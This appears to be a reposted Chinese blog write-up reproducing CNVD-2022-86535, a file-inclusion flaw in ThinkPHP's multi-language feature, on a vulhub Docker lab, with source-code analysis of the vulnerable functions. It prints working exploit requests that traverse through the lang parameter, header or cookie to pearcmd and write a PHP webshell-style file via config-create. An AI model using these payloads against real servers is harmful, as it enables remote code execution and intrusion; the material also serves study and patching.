• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

漏洞复现CNVD-2022-86535-ThinkphpV6多语言

武飞扬头像
net user
帮助1

漏洞原理

        ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越与文件包含组合拳的利用,通过pearcmd文件包含这个trick即可实现RCE。

关于pearcmd

        pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。
在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装。
        在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。

影响版本

        6.0.1 < ThinkPHP ≤ 6.0.13
        5.0.0 < ThinkPHP ≤ 5.0.12
        5.1.0 < ThinkPHP ≤ 5.1.8

漏洞指纹

        header=“think_lang”

环境搭建

https://github.com/vulhub/vulhub/commit/34fca0ce1bd144d67b01540594f9764f65497e94#diff-a467569d1059d94152dc2adfef31fe2a8272b9b0982a61624da79f3f6e331e95

漏洞复现

  1.  
    docker -compose up -d
  2.  
    dockers ps 查看进程
  3.  
    docker exec -it ID bash 查看进程路径
/index?lang=…/…/…/…/…/…/…/…/usr/local/lib/php/pearcmd& config-create /&/ /var/www/html/test.php


        经过…/的尝试发现当…/个数超过7个时,响应界面发生变化,即利用成功。

学新通

        当前…/个数为6个,查看是否写入

学新通

        当…/个数为8个时

学新通

        查看是否利用成功

学新通

        cookie处的构造

学新通

学新通

        经过逐个添加发现也是在第8个发生变化,通过不通的环境得出…/的个数与目录层数相关。

学新通

学新通

进行包含利用

学新通

漏洞分析

config-create

  1.  
    require_once 'PEAR.php';
  2.  
    require_once 'PEAR/Frontend.php';
  3.  
    require_once 'PEAR/Config.php';
  4.  
    require_once 'PEAR/Command.php';
  5.  
    require_once 'Console/Getopt.php';

        这里所需要用到的config-create处于–>config.php中,因此,攻击条件同时需要满足pecl/pear为已安装状态。根据这里的exp,这里利用了config-create,config-create的作用–>create a default configuration file,也就是创建默认的配置文件,并且在此处的文件路径进行传参,写入这个文件中。

GET /? config-create /&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?> xxx.php HTTP/1.1

        config-create的作用–>create a default configuration file 

学新通

开启多语言

学新通

        由于这个的攻击条件是要开启多语言功能,于是,去搜索了下这个多语言功能是如何开启的,大概就是,会在中间件middleware中添加,再接着通过detect来探测是否具有lang这个包来返回多语言的功能是否开启。通过学习得知,在这个中间件middle这,会调用handle()函数,于是这里查看了下被引用的地方,也就是loadlangpack.php这。

多语言功能包–>langpack

学新通

  1.  
    public function handle($request, Closure $next)
  2.  
    {
  3.  
    // 自动侦测当前语言
  4.  
    $langset = $this->detect($request);
  5.  
     
  6.  
     
  7.  
    if ($this->lang->defaultLangSet() != $langset) {
  8.  
    $this->lang->switchLangSet($langset);
  9.  
    }
  10.  
     
  11.  
     
  12.  
    $this->saveToCookie($this->app->cookie, $langset);
  13.  
     
  14.  
     
  15.  
    return $next($request);
  16.  
    }
学新通

        因为在之前已经得知是通过探测的方法,直接定位detect,detect–>可以看到依次排查了 GET[“lang”] 、HEADER[“think-lang”] 、COOKIE[“think_lang”] ,并且其中不含过滤代码,直接赋值给了 $langSet : 那么langset 这个值便是可控的了

  1.  
    protected function detect(Request $request): string
  2.  
    {
  3.  
    // 自动侦测设置获取语言选择
  4.  
    $langSet = '';
  5.  
     
  6.  
    if ($request->get($this->config['detect_var'])) {
  7.  
    // url中设置了语言变量
  8.  
    $langSet = strtolower($request->get($this->config['detect_var']));
  9.  
    } elseif ($request->header($this->config['header_var'])) {
  10.  
    // Header中设置了语言变量
  11.  
    $langSet = strtolower($request->header($this->config['header_var']));
  12.  
    } elseif ($request->cookie($this->config['cookie_var'])) {
  13.  
    // Cookie中设置了语言变量
  14.  
    $langSet = strtolower($request->cookie($this->config['cookie_var']));
  15.  
    } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
  16.  
    // 自动侦测浏览器语言
  17.  
    $match = preg_match('/^([a-z\d\-] )/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches);
  18.  
    if ($match) {
  19.  
    $langSet = strtolower($matches[1]);
  20.  
    if (isset($this->config['accept_language'][$langSet])) {
  21.  
    $langSet = $this->config['accept_language'][$langSet];
  22.  
    }
  23.  
    }
  24.  
    }
  25.  
    if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) {
  26.  
    // 合法的语言
  27.  
    $this->range = $langSet;
  28.  
    }
  29.  
     
  30.  
     
  31.  
    return $this->range;
学新通

        默认情况下,allow_lang_list 这个配置为空,$langSet 被赋值给 range,将range,将range 返回。
        在loadlangpack里发现:

  1.  
    public function handle($request, Closure $next)
  2.  
    {
  3.  
    // 自动侦测当前语言
  4.  
    $langset = $this->detect($request);
  5.  
     
  6.  
    if ($this->lang->defaultLangSet() != $langset) {
  7.  
    $this->lang->switchLangSet($langset);
  8.  
    }
  9.  
     
  10.  
    $this->saveToCookie($this->app->cookie, $langset);
  11.  
     
  12.  
    return $next($request);
  13.  
    }

学新通

this->load

  1.  
    public function switchLangSet(string $langset)
  2.  
    {
  3.  
    if (empty($langset)) {
  4.  
    return;
  5.  
    }
  6.  
     
  7.  
     
  8.  
    // 加载系统语言包
  9.  
    $this->load([
  10.  
    $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
  11.  
    ]);
  12.  
     
  13.  
     
  14.  
    // 加载系统语言包
  15.  
    $files = glob($this->app->getAppPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.*');
  16.  
    $this->load($files);
  17.  
     
  18.  
     
  19.  
    // 加载扩展(自定义)语言包
  20.  
    $list = $this->app->config->get('lang.extend_list', []);
  21.  
     
  22.  
     
  23.  
    if (isset($list[$langset])) {
  24.  
    $this->load($list[$langset]);
  25.  
    }
学新通

$langset-->$this->config["detect_var"="lang"]
 

include file

  1.  
    protected function parse(string $file): array
  2.  
    {
  3.  
    $type = pathinfo($file, PATHINFO_EXTENSION);
  4.  
     
  5.  
     
  6.  
    switch ($type) {
  7.  
    case 'php':
  8.  
    $result = include $file;
  9.  
    break;
  10.  
    case 'yml':
  11.  
    case 'yaml':
  12.  
    if (function_exists('yaml_parse_file')) {
  13.  
    $result = yaml_parse_file($file);
  14.  
    }
  15.  
    break;
  16.  
    case 'json':
  17.  
    $data = file_get_contents($file);
  18.  
     
  19.  
     
  20.  
    if (false !== $data) {
  21.  
    $data = json_decode($data, true);
  22.  
     
  23.  
     
  24.  
    if (json_last_error() === JSON_ERROR_NONE) {
  25.  
    $result = $data;
  26.  
    }
  27.  
    }
  28.  
     
  29.  
     
  30.  
    break;
  31.  
    }
  32.  
     
  33.  
     
  34.  
    return isset($result) && is_array($result) ? $result : [];
  35.  
    }
学新通

其他方法

download -->pear download [option] [package]

漏洞修复 

https://www.thinkphp.cn/

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgbhcag
系列文章
更多 icon
同类精品
更多 icon
继续加载